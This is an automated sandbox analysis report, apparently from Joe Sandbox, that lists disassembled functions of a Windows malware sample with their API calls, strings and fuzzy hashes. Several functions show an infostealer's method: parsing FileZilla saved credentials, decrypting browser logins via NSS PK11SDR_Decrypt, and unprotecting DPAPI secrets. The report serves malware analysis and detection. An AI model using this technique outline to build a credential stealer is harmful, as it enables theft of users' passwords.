Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: AttributesFilelstrcpy
String ID:
API String ID: 2907202325-0
Opcode ID: 11b90946aab013dedc2d5ab53e148f7e2d007ffd17da8d3cdd6b40e423860d00
Instruction ID: ee57c02872da0363ec51df369e257d3e83299099b732c1a43b828831a5cd21f3
Opcode Fuzzy Hash: 11b90946aab013dedc2d5ab53e148f7e2d007ffd17da8d3cdd6b40e423860d00
Instruction Fuzzy Hash: A321D374A000089BCB50EF29CA456DE73B5AF84304F1045BAF984A33E1DF789F818B84

Function 00406F10 Relevance: 2.6, APIs: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040), ref: 00406F61
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 00406F95

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 59a36d8a7c45b95f011f258437c7c65e418f84c0e49c21236dcdbaa3c6e29715
Instruction ID: 3bd02d8b8677aee593c44b30d1d23081c6de345e8f51322ae1f847e351fcc2ba
Opcode Fuzzy Hash: 59a36d8a7c45b95f011f258437c7c65e418f84c0e49c21236dcdbaa3c6e29715
Instruction Fuzzy Hash: A011E2723407019BC324CFBAEC80BA7B7E5AB80714F11057EFA5EC7780D679E8408608

Function 00407390 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f07339fd43d13126afd4f054baa2532765209271d9cc2e55f06e17ec21ca8af
Instruction ID: 4de53c2f40a5aa73f6f0bc7f9f1e1c50d5b0b75ca26e7be028bef0f6641a0a0b
Opcode Fuzzy Hash: 7f07339fd43d13126afd4f054baa2532765209271d9cc2e55f06e17ec21ca8af
Instruction Fuzzy Hash: 9F313070F042159BDB24DF5AD9416AEBBF5AF84314F1081BBD808E7391E738ED418AA6

Function 004072D0 Relevance: 1.6, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,?), ref: 00407345

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 154cc43d969e1ce6ac87fadc9852f26fcc4f81f42fbe483bf1e7f11340275999
Instruction ID: 40974569e990db43e7dc6eb9007d64982945bb1a402c8899247b07597bbdbb03
Opcode Fuzzy Hash: 154cc43d969e1ce6ac87fadc9852f26fcc4f81f42fbe483bf1e7f11340275999
Instruction Fuzzy Hash: 6E11C271A0C1159BE724DF5DD8807AAF3E9FB08300F50053AEE49D3280D639B851E79B

Function 00423FE0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040E528), ref: 00423FE8

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d12aa63e2a43c82d3a3244baf5d4b909524441441af8c4cb30e5f6668a238d27
Instruction ID: 9cbc7b94c686a9ceec194cd170169b9a650d3d3529e95cd4f08243dae4795b92
Opcode Fuzzy Hash: d12aa63e2a43c82d3a3244baf5d4b909524441441af8c4cb30e5f6668a238d27
Instruction Fuzzy Hash: 61E08C72B001385BCB00AAEDE8084DB7788CB047B9F800222FA4CDB3D1C278EC8147D4

Function 00408FF0 Relevance: 1.3, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020), ref: 00408FF9

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1ace3c37f40afb2111c7e3b5b888794c1a239af41b73eb6ba00a582de92e3865
Instruction ID: e5b22e6349bc1aff3135d883f15529fb041e50896e84003edc7037dc7347f700
Opcode Fuzzy Hash: 1ace3c37f40afb2111c7e3b5b888794c1a239af41b73eb6ba00a582de92e3865
Instruction Fuzzy Hash: AB314FB1D05304BFD700DF66EC459EBBBBDEB85754B00546FB90893291EA78A940CBE1

Function 00408C30 Relevance: 1.3, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00000000,00000000,?,00000000,?,?,00000000), ref: 00408CED

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: d9e63c9ec467ee1120f9758bcc864e03af6b3b0006794ec4e6e2507cedf18e22
Instruction ID: ddca7a1ee5a18504b0c5088eddb9ad1ab3786d8c345a1c7c6de8fc703f8086dc
Opcode Fuzzy Hash: d9e63c9ec467ee1120f9758bcc864e03af6b3b0006794ec4e6e2507cedf18e22
Instruction Fuzzy Hash: 7831A271A05214DFDB18CF18C98066ABBB5EF85320F14427EEC626B3C5CB349D00CBA5

Function 0041EF30 Relevance: 1.3, APIs: 1, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041EF62

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 12fc6147dae9d249ae9695041cb4fba5ca24cf2bce99d1f03952842fef409938
Instruction ID: d5213ce56d19ccab4b54554078f0f9591c11fd9792c964766793415fd4e25809
Opcode Fuzzy Hash: 12fc6147dae9d249ae9695041cb4fba5ca24cf2bce99d1f03952842fef409938
Instruction Fuzzy Hash: 3211E5B07201459BCB24FF7ADD4AADF37A4AF44304F404139BC88AB2E2DA78ED458795

Non-executed Functions

Function 00416FF9 Relevance: 128.3, APIs: 64, Strings: 9, Instructions: 526stringmemoryencryptionCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041701D
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041704D
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041707D
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004170AF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004170BC
HeapAlloc.KERNEL32(00000000), ref: 004170C3
StrStrA.SHLWAPI(00000000,<Host>), ref: 004170DA
lstrlenA.KERNEL32(00000000), ref: 004170E5
malloc.MSVCRT ref: 004170EF
strncpy.MSVCRT ref: 004170FD
lstrcpy.KERNEL32(00000000,00000000), ref: 00417128
lstrcpy.KERNEL32(00000000,00000000), ref: 0041714F
StrStrA.SHLWAPI(00000000,<Port>), ref: 00417162
lstrlenA.KERNEL32(00000000), ref: 0041716D
malloc.MSVCRT ref: 00417177
strncpy.MSVCRT ref: 00417185
lstrcpy.KERNEL32(00000000,00000000), ref: 004171B0
lstrcpy.KERNEL32(00000000,00000000), ref: 004171D7
StrStrA.SHLWAPI(00000000,<User>), ref: 004171EA
lstrlenA.KERNEL32(00000000), ref: 004171F5
malloc.MSVCRT ref: 004171FF
strncpy.MSVCRT ref: 0041720D
lstrcpy.KERNEL32(00000000,00000000), ref: 00417238
lstrcpy.KERNEL32(00000000,00000000), ref: 0041725F
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00417272
lstrlenA.KERNEL32(00000000), ref: 00417281
malloc.MSVCRT ref: 0041728B
strncpy.MSVCRT ref: 00417299
lstrcpy.KERNEL32(00000000,00000000), ref: 004172C9
lstrcpy.KERNEL32(00000000,00000000), ref: 004172F1
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00417314
LocalAlloc.KERNEL32(00000040,00000000), ref: 00417328
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00417349
LocalFree.KERNEL32(00000000), ref: 00417354
lstrlenA.KERNEL32(?), ref: 004173EE
lstrlenA.KERNEL32(?), ref: 00417401
lstrlenA.KERNEL32(?), ref: 00417414

Strings

login: , xrefs: 0041749D
<Host>, xrefs: 004170D4
url: , xrefs: 00417457
<Port>, xrefs: 0041715C
<Pass encoding="base64">, xrefs: 0041726C
password: , xrefs: 004174C9
profile: null, xrefs: 00417448
browser: FileZilla, xrefs: 00417439
<User>, xrefs: 004171E4

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$mallocstrncpy$AllocBinaryCryptHeapLocalString$FreeProcess
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1513527349-2314656281
Opcode ID: 86c7bb60e3f0831cbd8ecec04319fbf0b7f0ad9568a988798da837d599a5e8e2
Instruction ID: 2683e5515e2765e9c10c9bad261eeb0d17f8eec88b756583fb4efbddeab47f2d
Opcode Fuzzy Hash: 86c7bb60e3f0831cbd8ecec04319fbf0b7f0ad9568a988798da837d599a5e8e2
Instruction Fuzzy Hash: 0F02A371A04215AFCB10ABB4DD4DB9F7B75AF08704F14542AF901E73A1DBBCD9428BA8

Function 0041CCE0 Relevance: 58.1, APIs: 27, Strings: 6, Instructions: 310filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041CCFC
FindFirstFileA.KERNEL32(?,?), ref: 0041CD13
lstrcatA.KERNEL32(?,?), ref: 0041CD5F
StrCmpCA.SHLWAPI(?,00431D70), ref: 0041CD71
StrCmpCA.SHLWAPI(?,00431D74), ref: 0041CD8B
wsprintfA.USER32 ref: 0041CDB0
PathMatchSpecA.SHLWAPI(?,00809A78), ref: 0041CDE2
CoInitialize.OLE32(00000000), ref: 0041CDEE

Part of subcall function 0041CBE0: CoCreateInstance.COMBASE(0042B140,00000000,00000001,0042B130,?), ref: 0041CC06
Part of subcall function 0041CBE0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104), ref: 0041CC46
Part of subcall function 0041CBE0: lstrcpyn.KERNEL32(?,?,00000104), ref: 0041CCC9

CoUninitialize.COMBASE ref: 0041CE09
lstrcatA.KERNEL32(?,?), ref: 0041CE2E
lstrlenA.KERNEL32(?), ref: 0041CE3B
StrCmpCA.SHLWAPI(?,0042D01C), ref: 0041CE55
wsprintfA.USER32 ref: 0041CE7D
wsprintfA.USER32 ref: 0041CE9C
PathMatchSpecA.SHLWAPI(?,?), ref: 0041CEB0
wsprintfA.USER32 ref: 0041CED8
CopyFileA.KERNEL32(?,?,00000001), ref: 0041CEF1
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041CF10
GetFileSizeEx.KERNEL32(00000000,?), ref: 0041CF28
CloseHandle.KERNEL32(00000000), ref: 0041CF33
CloseHandle.KERNEL32(00000000), ref: 0041CF3F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041CF54
lstrcpy.KERNEL32(00000000,?), ref: 0041CF94
FindNextFileA.KERNEL32(?,?), ref: 0041D08D
FindClose.KERNEL32(?), ref: 0041D09F

Strings

1#v, xrefs: 0041CD13
%s\%s\%s, xrefs: 0041CE77
%s\%s, xrefs: 0041CDAA, 0041CE96
%s%s, xrefs: 0041CED2
%s\*, xrefs: 0041CCF6
P2#v, xrefs: 0041D08D

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseFind$CreateHandleMatchPathSpeclstrcat$ByteCharCopyFirstInitializeInstanceMultiNextSizeUninitializeUnothrow_t@std@@@Wide__ehfuncinfo$??2@lstrcpylstrcpynlstrlen
String ID: %s%s$%s\%s$%s\%s\%s$%s\*$P2#v$1#v
API String ID: 3860919712-1001841787
Opcode ID: d01bf04c1e69f131e390dc7f3d216c21b2bba4c2894e5bdf9dfab9005a7fa2e2
Instruction ID: bf145cd73fe6bbe5de03638df10cabd001bec50cbc196388adc824c638f6a49f
Opcode Fuzzy Hash: d01bf04c1e69f131e390dc7f3d216c21b2bba4c2894e5bdf9dfab9005a7fa2e2
Instruction Fuzzy Hash: 90C17471A002199FCB14DF64DC89EEF777AAF48304F104599F509A7290DB74AE85CFA4

Function 0041DE50 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 170stringfilememoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 0041DE68
HeapAlloc.KERNEL32(00000000), ref: 0041DE6F
wsprintfA.USER32 ref: 0041DE87
FindFirstFileA.KERNEL32(?,?), ref: 0041DEA0
StrCmpCA.SHLWAPI(?,00431D70), ref: 0041DEBE
StrCmpCA.SHLWAPI(?,00431D74), ref: 0041DED9
wsprintfA.USER32 ref: 0041DEF9
DeleteFileA.KERNEL32(?), ref: 0041DF4D
CopyFileA.KERNEL32(?,?,00000001), ref: 0041DF14

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 0041DAA0: memset.MSVCRT ref: 0041DAC1
Part of subcall function 0041DAA0: memset.MSVCRT ref: 0041DAD3
Part of subcall function 0041DAA0: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041DAFB
Part of subcall function 0041DAA0: lstrcpy.KERNEL32(00000000,?), ref: 0041DB2E
Part of subcall function 0041DAA0: lstrcatA.KERNEL32(?,00000000), ref: 0041DB3C
Part of subcall function 0041DAA0: lstrcatA.KERNEL32(?,00810EE8), ref: 0041DB56
Part of subcall function 0041DAA0: lstrcatA.KERNEL32(?,?), ref: 0041DB6A
Part of subcall function 0041DAA0: lstrcatA.KERNEL32(?,008109A8), ref: 0041DB7E
Part of subcall function 0041DAA0: lstrcpy.KERNEL32(00000000,?), ref: 0041DBAE
Part of subcall function 0041DAA0: GetFileAttributesA.KERNEL32(00000000), ref: 0041DBB5

FindNextFileA.KERNEL32(00000000,?), ref: 0041DF5C
FindClose.KERNEL32(00000000), ref: 0041DF6B
lstrcatA.KERNEL32(?,008124B8), ref: 0041DF92
lstrcatA.KERNEL32(?,008111B8), ref: 0041DFA4
lstrlenA.KERNEL32(?), ref: 0041DFAF
lstrlenA.KERNEL32(?), ref: 0041DFBE
lstrcpy.KERNEL32(00000000,?), ref: 0041DFF4

Strings

1#v, xrefs: 0041DEA0
%s\%s, xrefs: 0041DEF3
%s\*, xrefs: 0041DE81
P2#v, xrefs: 0041DF5C

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$File$Find$Heaplstrlenmemsetwsprintf$AllocAttributesCloseCopyDeleteFirstFolderNextPathProcess
String ID: %s\%s$%s\*$P2#v$1#v
API String ID: 685088799-4226942003
Opcode ID: 286ebdc8066b387d555e02d595dbf22d74ea9592e624987e831ae1d71eb5ec96
Instruction ID: 39e23f8c836484804eef83780248d204f67809faf99e20d406434f27769b41da
Opcode Fuzzy Hash: 286ebdc8066b387d555e02d595dbf22d74ea9592e624987e831ae1d71eb5ec96
Instruction Fuzzy Hash: 88517DB16143409FC724EF74DC48ADB77E9AF88304F00492EF99997290DB78DA498B96

Function 0040ED90 Relevance: 16.6, APIs: 11, Instructions: 96stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040EDBB
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000), ref: 0040EDD6
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040EDDE
PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000), ref: 0040EDEC
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000), ref: 0040EE01
PK11SDR_Decrypt.NSS3(00000000,00000000,00000000,?,00000000,00000000), ref: 0040EE35
memcpy.MSVCRT(?,?,?), ref: 0040EE51
PK11_FreeSlot.NSS3 ref: 0040EE6C
lstrcatA.KERNEL32(0042D01C,0042D01C,?,00000000,00000000), ref: 0040EE87
PK11_FreeSlot.NSS3(00000000), ref: 0040EE8E
lstrcatA.KERNEL32(0042D01C,0042D01C,?,00000000,?,00000001,?,?,00000000,00000000), ref: 0040EEA9

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: K11_$Slot$Freelstrcat$AuthenticateBinaryCryptDecryptInternalStringlstrlenmemcpymemset
String ID:
API String ID: 2752138542-0
Opcode ID: 2e854296a3b0e8297b84d33dad23649add4ff7fd82ecac4cff5ba693bb1bb20a
Instruction ID: 48cd1a741b9e313e2fc28cff93c367e6ba05566f6c3613393bd51b2672dfde78
Opcode Fuzzy Hash: 2e854296a3b0e8297b84d33dad23649add4ff7fd82ecac4cff5ba693bb1bb20a
Instruction Fuzzy Hash: 7231D775B00219ABDB108B58EC45BEFB779EF44705F04417AF908E3290DBB49A14CBE9

Function 00427BCA Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00428432
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00428447
UnhandledExceptionFilter.KERNEL32(0042C2C0), ref: 00428452
GetCurrentProcess.KERNEL32(C0000409), ref: 0042846E
TerminateProcess.KERNEL32(00000000), ref: 00428475

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6f8c16cd750ee8837aff1e30bd80a1a9b619af74afdd13ae9f3795960fce2a3f
Instruction ID: 5398af56663e017b1a27f518c11c29f10c34bfee8a9400218112e147037fa553
Opcode Fuzzy Hash: 6f8c16cd750ee8837aff1e30bd80a1a9b619af74afdd13ae9f3795960fce2a3f
Instruction Fuzzy Hash: 9821F0B5A003069FC750DF15F984A49BBB4FB28704F90A07EF81887B62EBB465858F5D

Function 00407690 Relevance: 7.6, APIs: 5, Instructions: 52memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0040769E
HeapAlloc.KERNEL32(00000000), ref: 004076A5
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004076CD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000400,00000000,00000000), ref: 004076ED
LocalFree.KERNEL32(?), ref: 004076F7

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 409e78fb13d6794445940b5c0aff07b763ad56f8c0cd95c9c67de4eede8e8ce7
Instruction ID: fc53f040804026e33a48c705a0d2581fa71e9ff24b93ea351c491559a1666898
